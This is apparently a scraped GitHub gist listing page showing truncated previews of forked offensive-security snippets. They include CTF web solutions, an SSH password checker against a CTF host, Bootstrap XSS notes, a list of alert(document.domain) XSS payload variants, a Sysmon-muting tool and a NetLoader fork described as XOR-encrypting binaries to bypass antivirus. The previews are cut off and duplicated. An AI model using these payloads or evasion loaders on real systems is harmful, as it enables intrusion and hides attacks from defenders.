Nick deltaclock

## aCSAW-21.md

      
              7 files
            
          
              0 forks
            
          
                0 comments
              
            
              0 stars
            
          
                deltaclock
                / aCSAW-21.md
            
            
              Created
              September 12, 2021 22:44
                — forked from Az3z3l/aCSAW-21.md
            
              
                Solutions for all Web challenges from CSAW-21
              
          
    Solutions for all Web challenges from CSAW-21


## solve.py
import paramiko
from pwn import *

context.log_level = 'error'

def check(password):
  try:
    conn = ssh(host='fsociety-04.play.midnightsunctf.se', port=2222, user='elliot', password=password)
    conn.close()
    return True

## index.html
<!DOCTYPE html>
	<html>
	<head>
		<title>Pwn2Win | MessageKeeper</title>
	</head>
	<body>
		<script>
			let alphabet = "0123456789abcdef";

			const sleep = (ms) => {

## parameters_h1.txt
-
.
..
...
....
.AMRU
.json
.onion
.txt
0

## cairo.ts
import express from "express";
import { Socket } from "net";
import { PromiseSocket } from "promise-socket";
import morgan from "morgan";

const { TARGET_IP, SENSOR_PORT, SENSOR_TOKEN } = process.env;
const packetSize = 1448;
const SELF = "whatevermyipis:12345";
const TARGET = "iot.hub";

## Bootstrap_XSS.md

      
              1 file
            
          
              0 forks
            
          
                0 comments
              
            
              0 stars
            
          
                deltaclock
                / Bootstrap_XSS.md
            
            
              Created
              March 28, 2021 01:22
                — forked from BlackFan/Bootstrap_XSS.md
            
              
                Bootstrap XSS Collection
              
          
    CVE-2019-8331

Bootstrap < 3.4.1 || < 4.3.1
✔️ CSP strict-dynamic bypass
➖ Requires user interaction
➖ Requires $('[data-toggle="tooltip"]').tooltip();

  
## alert.js
// How many ways can you alert(document.domain)?
// Comment with more ways and I'll add them :)
// I already know about the JSFuck way, but it's too long to add (:

// Direct invocation
alert(document.domain);
(alert)(document.domain);
al\u0065rt(document.domain);
al\u{65}rt(document.domain);
window['alert'](document.domain);

## MuteSysmon.cs
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Text;

namespace MuteSysmon
{
    class Program

## scriptless_solve.html

<body>

</body>
<script>


/*
    Quasi-scriptless (3 solves)


## NetLoader.cs
/*
Author: Arno0x0x, Twitter: @Arno0x0x
Completely based on @Flangvik netloader

This partial rewrite of @Flangvik Netloader includes the following changes:

	- Allow loading of an XOR encrypted binary to bypass antiviruses
		To encrypt the initial binary you can use my Python transformFile.py script.
		Example: ./transformFile.py -e xor -k mightyduck -i Rubeus.bin -o Rubeus.xor
	import paramiko
	from pwn import *

	context.log_level = 'error'

	def check(password):
	try:
	conn = ssh(host='fsociety-04.play.midnightsunctf.se', port=2222, user='elliot', password=password)
	conn.close()
	return True
	<!DOCTYPE html>
	<html>
	<head>
	<title>Pwn2Win \| MessageKeeper</title>
	</head>
	<body>
	<script>
	let alphabet = "0123456789abcdef";

	const sleep = (ms) => {
	import express from "express";
	import { Socket } from "net";
	import { PromiseSocket } from "promise-socket";
	import morgan from "morgan";

	const { TARGET_IP, SENSOR_PORT, SENSOR_TOKEN } = process.env;
	const packetSize = 1448;
	const SELF = "whatevermyipis:12345";
	const TARGET = "iot.hub";
	// How many ways can you alert(document.domain)?
	// Comment with more ways and I'll add them :)
	// I already know about the JSFuck way, but it's too long to add (:

	// Direct invocation
	alert(document.domain);
	(alert)(document.domain);
	al\u0065rt(document.domain);
	al\u{65}rt(document.domain);
	window['alert'](document.domain);
	using System;
	using System.Collections.Generic;
	using System.Diagnostics;
	using System.IO;
	using System.Linq;
	using System.Text;

	namespace MuteSysmon
	{
	class Program
	/*
	Author: Arno0x0x, Twitter: @Arno0x0x
	Completely based on @Flangvik netloader

	This partial rewrite of @Flangvik Netloader includes the following changes:

	- Allow loading of an XOR encrypted binary to bypass antiviruses
	To encrypt the initial binary you can use my Python transformFile.py script.
	Example: ./transformFile.py -e xor -k mightyduck -i Rubeus.bin -o Rubeus.xor